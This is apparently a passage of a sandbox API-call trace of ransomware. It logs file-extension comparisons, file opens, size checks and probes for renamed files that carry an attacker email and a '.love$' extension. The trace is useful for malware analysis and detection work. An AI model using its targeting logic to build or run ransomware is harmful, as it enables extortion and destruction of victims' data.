lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0283.163] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.163] lstrlenW (lpString=".jpg") returned 4 [0283.163] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0283.163] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.163] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.163] lstrlenW (lpString=".doc") returned 4 [0283.163] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0283.163] lstrlenW (lpString=".docx") returned 5 [0283.163] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0283.163] lstrlenW (lpString=".pdf") returned 4 [0283.163] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0283.163] lstrlenW (lpString=".xls") returned 4 [0283.163] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0283.163] lstrlenW (lpString=".xlsx") returned 5 [0283.163] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0283.163] lstrlenW (lpString=".ppt") returned 4 [0283.163] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0283.163] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.164] lstrlenW (lpString=".zip") returned 4 [0283.164] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0283.164] lstrlenW (lpString=".rar") returned 4 [0283.164] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0283.164] lstrlenW (lpString=".bz2") returned 4 [0283.164] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0283.164] lstrlenW (lpString=".7z") returned 3 [0283.164] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0283.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.164] lstrlenW (lpString=".dbf") returned 4 [0283.164] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0283.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.164] lstrlenW (lpString=".1cd") returned 4 [0283.164] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0283.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.164] lstrlenW (lpString=".jpg") returned 4 [0283.164] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0283.164] Sleep (dwMilliseconds=0x64) [0283.409] Sleep (dwMilliseconds=0x64) [0283.805] lstrcmpiW (lpString1=".p7b", lpString2=".love$") returned 1 [0283.805] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0283.805] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.806] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4662) returned 1 [0283.806] CloseHandle (hObject=0x35c) returned 1 [0283.806] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0283.806] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.806] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.806] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.806] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.806] lstrlenW (lpString=".doc") returned 4 [0283.807] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0283.807] lstrlenW (lpString=".docx") returned 5 [0283.807] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0283.807] lstrlenW (lpString=".pdf") returned 4 [0283.807] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0283.807] lstrlenW (lpString=".xls") returned 4 [0283.807] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0283.807] lstrlenW (lpString=".xlsx") returned 5 [0283.807] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0283.807] lstrlenW (lpString=".ppt") returned 4 [0283.807] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0283.807] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.807] lstrlenW (lpString=".zip") returned 4 [0283.807] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0283.807] lstrlenW (lpString=".rar") returned 4 [0283.807] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0283.807] lstrlenW (lpString=".bz2") returned 4 [0283.807] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0283.807] lstrlenW (lpString=".7z") returned 3 [0283.807] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0283.807] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.807] lstrlenW (lpString=".dbf") returned 4 [0283.807] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0283.807] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.807] lstrlenW (lpString=".1cd") returned 4 [0283.807] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0283.807] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.808] lstrlenW (lpString=".jpg") returned 4 [0283.808] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0283.808] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.808] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.808] lstrlenW (lpString=".doc") returned 4 [0283.808] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0283.808] lstrlenW (lpString=".docx") returned 5 [0283.808] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0283.808] lstrlenW (lpString=".pdf") returned 4 [0283.808] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0283.808] lstrlenW (lpString=".xls") returned 4 [0283.808] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0283.808] lstrlenW (lpString=".xlsx") returned 5 [0283.808] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0283.808] lstrlenW (lpString=".ppt") returned 4 [0283.808] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0283.808] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.808] lstrlenW (lpString=".zip") returned 4 [0283.808] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0283.808] lstrlenW (lpString=".rar") returned 4 [0283.808] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0283.808] lstrlenW (lpString=".bz2") returned 4 [0283.808] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0283.808] lstrlenW (lpString=".7z") returned 3 [0283.808] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0283.808] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.808] lstrlenW (lpString=".dbf") returned 4 [0283.809] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0283.809] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.809] lstrlenW (lpString=".1cd") returned 4 [0283.809] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0283.809] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0283.809] lstrlenW (lpString=".jpg") returned 4 [0283.809] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0283.809] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.809] lstrlenW (lpString="Alphabet.xml") returned 12 [0283.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.810] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=791421) returned 1 [0283.810] CloseHandle (hObject=0x35c) returned 1 [0283.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0283.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.811] lstrlenW (lpString=".doc") returned 4 [0283.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.811] lstrlenW (lpString=".docx") returned 5 [0283.811] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0283.811] lstrlenW (lpString=".pdf") returned 4 [0283.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.811] lstrlenW (lpString=".xls") returned 4 [0283.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.811] lstrlenW (lpString=".xlsx") returned 5 [0283.811] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0283.811] lstrlenW (lpString=".ppt") returned 4 [0283.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.811] lstrlenW (lpString=".zip") returned 4 [0283.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.811] lstrlenW (lpString=".rar") returned 4 [0283.811] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.811] lstrlenW (lpString=".bz2") returned 4 [0283.811] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.811] lstrlenW (lpString=".7z") returned 3 [0283.811] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.811] lstrlenW (lpString=".dbf") returned 4 [0283.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.812] lstrlenW (lpString=".1cd") returned 4 [0283.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.812] lstrlenW (lpString=".jpg") returned 4 [0283.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.812] lstrlenW (lpString=".doc") returned 4 [0283.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString=".docx") returned 5 [0283.812] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0283.812] lstrlenW (lpString=".pdf") returned 4 [0283.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString=".xls") returned 4 [0283.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString=".xlsx") returned 5 [0283.812] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0283.812] lstrlenW (lpString=".ppt") returned 4 [0283.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.812] lstrlenW (lpString=".zip") returned 4 [0283.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.812] lstrlenW (lpString=".rar") returned 4 [0283.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString=".bz2") returned 4 [0283.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.812] lstrlenW (lpString=".7z") returned 3 [0283.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.813] lstrlenW (lpString=".dbf") returned 4 [0283.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.813] lstrlenW (lpString=".1cd") returned 4 [0283.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0283.813] lstrlenW (lpString=".jpg") returned 4 [0283.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.813] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.813] lstrlenW (lpString="Content.xml") returned 11 [0283.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.814] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=27045) returned 1 [0283.815] CloseHandle (hObject=0x35c) returned 1 [0283.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0283.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.815] lstrlenW (lpString=".doc") returned 4 [0283.815] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.815] lstrlenW (lpString=".docx") returned 5 [0283.815] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0283.815] lstrlenW (lpString=".pdf") returned 4 [0283.815] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.815] lstrlenW (lpString=".xls") returned 4 [0283.815] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.815] lstrlenW (lpString=".xlsx") returned 5 [0283.815] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0283.815] lstrlenW (lpString=".ppt") returned 4 [0283.816] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.816] lstrlenW (lpString=".zip") returned 4 [0283.816] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.816] lstrlenW (lpString=".rar") returned 4 [0283.816] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.816] lstrlenW (lpString=".bz2") returned 4 [0283.816] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.816] lstrlenW (lpString=".7z") returned 3 [0283.816] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.816] lstrlenW (lpString=".dbf") returned 4 [0283.816] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.816] lstrlenW (lpString=".1cd") returned 4 [0283.816] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.816] lstrlenW (lpString=".jpg") returned 4 [0283.816] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.816] lstrlenW (lpString=".doc") returned 4 [0283.816] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.816] lstrlenW (lpString=".docx") returned 5 [0283.816] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0283.816] lstrlenW (lpString=".pdf") returned 4 [0283.816] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.817] lstrlenW (lpString=".xls") returned 4 [0283.817] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.817] lstrlenW (lpString=".xlsx") returned 5 [0283.817] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0283.817] lstrlenW (lpString=".ppt") returned 4 [0283.817] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.817] lstrlenW (lpString=".zip") returned 4 [0283.817] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.817] lstrlenW (lpString=".rar") returned 4 [0283.817] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.817] lstrlenW (lpString=".bz2") returned 4 [0283.817] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.817] lstrlenW (lpString=".7z") returned 3 [0283.817] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.817] lstrlenW (lpString=".dbf") returned 4 [0283.817] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.817] lstrlenW (lpString=".1cd") returned 4 [0283.817] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0283.817] lstrlenW (lpString=".jpg") returned 4 [0283.817] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.818] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0283.818] lstrlenW (lpString="boxed-correct.avi") returned 17 [0283.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.821] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=111320) returned 1 [0283.821] CloseHandle (hObject=0x35c) returned 1 [0283.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0283.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.822] lstrlenW (lpString=".doc") returned 4 [0283.822] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString=".docx") returned 5 [0283.822] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0283.822] lstrlenW (lpString=".pdf") returned 4 [0283.822] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString=".xls") returned 4 [0283.822] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString=".xlsx") returned 5 [0283.822] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0283.822] lstrlenW (lpString=".ppt") returned 4 [0283.822] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.822] lstrlenW (lpString=".zip") returned 4 [0283.822] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString=".rar") returned 4 [0283.822] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString=".bz2") returned 4 [0283.822] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString=".7z") returned 3 [0283.822] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0283.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.822] lstrlenW (lpString=".dbf") returned 4 [0283.822] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0283.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.822] lstrlenW (lpString=".1cd") returned 4 [0283.822] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0283.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.823] lstrlenW (lpString=".jpg") returned 4 [0283.823] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.823] lstrlenW (lpString=".doc") returned 4 [0283.823] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString=".docx") returned 5 [0283.823] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0283.823] lstrlenW (lpString=".pdf") returned 4 [0283.823] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString=".xls") returned 4 [0283.823] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString=".xlsx") returned 5 [0283.823] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0283.823] lstrlenW (lpString=".ppt") returned 4 [0283.823] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.823] lstrlenW (lpString=".zip") returned 4 [0283.823] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString=".rar") returned 4 [0283.823] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString=".bz2") returned 4 [0283.823] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0283.823] lstrlenW (lpString=".7z") returned 3 [0283.823] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0283.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.824] lstrlenW (lpString=".dbf") returned 4 [0283.824] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0283.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.824] lstrlenW (lpString=".1cd") returned 4 [0283.824] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0283.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0283.824] lstrlenW (lpString=".jpg") returned 4 [0283.824] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0283.824] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0283.824] lstrlenW (lpString="boxed-delete.avi") returned 16 [0283.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.825] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=48936) returned 1 [0283.825] CloseHandle (hObject=0x35c) returned 1 [0283.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0283.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.826] lstrlenW (lpString="C:\\Program 